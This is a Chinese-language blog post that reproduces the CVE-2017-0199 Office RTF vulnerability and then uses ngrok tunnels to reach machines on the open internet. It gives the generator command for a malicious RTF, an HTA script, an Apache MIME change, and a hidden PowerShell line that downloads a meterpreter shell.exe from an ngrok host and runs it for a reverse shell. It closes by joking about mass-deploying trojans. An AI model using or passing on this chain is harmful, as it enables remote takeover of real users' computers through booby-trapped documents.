對CVE-2017-0199的一次復現過程與內網穿透的利用

FireEye最近檢測到使用CVE-2017-0199漏洞的惡意Microsoft Office RTF文檔,這是以前從未發現的漏洞。 CVE-2017-0199漏洞發布日期為2017年4月11號,受影響系統包括:

Microsoft Office 2016n Microsoft Office 2013n Microsoft Office 2010n Microsoft Office 2007n

該漏洞利用OFFICE OLE對象鏈接技術,將包裹的惡意鏈接對象嵌在文檔中,OFFICE調用URL Moniker(COM對象)將惡意鏈接指向的HTA文件下載到本地, URL Moniker通過識別響應頭中content-type的欄位信息最後調用mshta.exe將下載到的HTA文件執行起來。

首先我們要用到一個Python腳本用來生成CVE-20170199的利用腳本,項目地址為:github.com/bhdresh/CVE- 裡面有詳細的文檔就不一一介紹了。

1.生成RTF文件

使用如下命令進行生成惡意的RTF文件

python cve-2017-0199_toolkit.py -M gen -w test.rtf -u 192.168.0.104/test.rtf

2.加入POC

在192.168.0.104根目錄下創建一個為test的rtf文件,並且將如下代碼寫入到該文件中

Test CVE-2017-0199n<script>npoc=new ActiveXObject("WScript.Shell");npoc.run(%SystemRoot%/system32/calc.exe );window.close();n</script>n

3.更改MIME

在Apache安裝目錄下找到conf文件夾,把裡面的mime.types文件中的

application/rtf rtf

替換為

application/hta rtf

然後重啟Apache

4.執行POC

重啟完Apache後打開惡意的RTF文件你將看到:

wr6666 彈出了計算器

你以為只能彈出計算器?

這不代表結束這只是開始。

內網穿透

科普:

內網穿透即NAT穿透,網路連接時術語,計算機是區域網內時,外網與內網的計算機節點需要連接通,有時就會出現不支持內網穿透。就是說映射埠,能讓外網的電腦找到處於內網的電腦,提高下載速度。不管是內網穿透還是其他類型的網路穿透,都是網路穿透的統一方法來研究和解決。在百科詞條NAT穿越,nat穿透中有關於網路穿透的詳細信息。 ----來自百度百科

簡單地說就是將內網的埠映射出去,使得外網的機器可以訪問內網的資源。

內網穿透的平台有很多,比如

1.NATAPP 基於 ngrok 高速內網穿透

2.Ngrok 國內免費伺服器

3.Sunny-Ngrok 內網轉發

4.gotunnel.org

5.花生殼軟體-內網也能用!內網動態域名

6.網路通內網埠映射

這裡使用Ngrok進行實驗 註冊方式略過。

HTTP隧道:

為什麼要用HTTP隧道?

在後面使用本機的Web環境映射出去,這樣就可以通過外網來訪問本機的資源(放惡意RTF文件和msf生成的shellcode)

TCP隧道:

為什麼要用TCP隧道?

讓外網的機器反彈一個shell到TCP隧道然後轉發到kali下,這樣kali就可以控制外網機器(反彈shell用)

內網穿透的利用

下載對應的客戶端版本 這裡用win10測試,建立完成HTTP、TCP隧道後連接隧道,開啟本機的apache服務 他應該是長這樣的:

192.168.0.108是kali 的IP地址 4444為kali監聽的地址

用msfvenom生成64位的shellcode(多少位的並不重要,可以直接使用windows/meterpreter/reverse_tcp)此處msfvenom的LHOST和LPORT應該是TCP隧道的IP和埠也就是server.ngrok.cc的IP和剛剛填寫的反彈埠(測試用的是1419) 所以它應該是這樣的:

然後把shell.exe移到win10的web根目錄下 然後msf應該是設置成這樣的:

監聽的IP是本機的(TCP隧道里填寫的映射ip),埠也是TCP隧道里填寫的映射埠

然後修改下POC並改為:

Testn <script>n poc=new ActiveXObject("WScript.Shell");n poc.run(%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(http://meterpreter.ngrok.cc/shell.exe, c:/windows/temp/shell.exe); c:/windows/temp/shell.exe, 0);window.close();n </script>n

保存為test.rtf

meterpreter.ngrok.cc/sh是HTTP隧道把web環境映射到了meterpreter.ngrok.cc所以shell.exe是在本機WEB根目錄下的shell.exe

然後將惡意的test.rtf(這不是POC的那個test.rtf,是前文用Python腳本生成的test.rtf惡意文件),在外網的機器打開

Then。。。。 你將獲得一個。。。。

wr 就這樣結束了嗎?

我想批量上馬了QAQ~


推薦閱讀:

ADV170014 NTLM SSO:利用指南
一驚一乍的「Wi-Fi 漏洞」新聞嚇到你了?淡定些來聽聽安全專家怎麼說
兒童電話手錶的安全漏洞會造成哪些問題?如何避免
大家都來談談安全漏洞等級的評價吧,你認為怎樣的標準合理呢?怎麼讓業務或者是其他安全團隊接受的你判斷。
HTTPS 和 OpenSSL 是什麼關係?

TAG:安全漏洞 | 黑客Hacker | MicrosoftOffice |